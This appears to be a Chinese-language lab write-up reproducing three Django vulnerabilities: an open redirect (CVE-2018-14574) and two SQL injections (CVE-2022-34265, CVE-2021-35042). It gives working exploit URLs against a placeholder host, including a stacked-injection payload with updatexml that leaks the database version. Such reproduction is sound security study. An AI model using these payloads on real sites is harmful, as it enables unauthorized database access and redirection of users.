文章目录
- Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)
- 漏洞详情:
- 复现:
- Django Trunc(kind) and Extract(lookup_name) SQL注入漏洞(CVE-2022-34265)
- 漏洞详情:
- 复现:
- Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)
- 漏洞详情:
- 复现:
- 结束:
Django < 2.0.8 任意URL跳转漏洞(CVE-2018-14574)
漏洞详情:
Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定)。
在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最终造成任意URL跳转漏洞。
该漏洞利用条件是目标URLCONF中存在能匹配上//example.com的规则。
复现:
访问http://your-ip:8000//www.example.com,即可返回是301跳转到//www.example.com/:
Django Trunc(kind) and Extract(lookup_name) SQL注入漏洞(CVE-2022-34265)
漏洞详情:
Django在2022年7月4日发布了安全更新,修复了在数据库函数Trunc()和Extract()中存在的SQL注入漏洞。
复现:
环境启动后,你可以在http://your-ip:8000看到一个页面。这个页面使用了Trunc函数来聚合页面点击数量,比如使用http://your-ip:8000/?date=minute即可看到按照分钟聚合的点击量:
修改date参数即可复现SQL注入漏洞:
http://your-ip:8000/?date=xxxx'xxxx
Django QuerySet.order_by() SQL注入漏洞(CVE-2021-35042)
漏洞详情:
Django在2021年7月1日发布了一个安全更新,修复了在QuerySet底下的order_by函数中存在的SQL注入漏洞
参考链接:
https://www.djangoproject.com/weblog/2021/jul/01/security-releases/
复现:
环境启动后,访问http://your-ip:8000即可看到Django默认首页。
访问页面http://your-ip:8000/vuln/,在GET参数中构造order=-id,会得到根据id降序排列的结果:
http://your-ip:8000/vuln/?order=-id
再构造GET参数order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23提交,其中vuln_collection是vuln应用下的模型Collection
http://your-ip:8000/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
成功注入SQL语句,利用堆叠注入获得信息: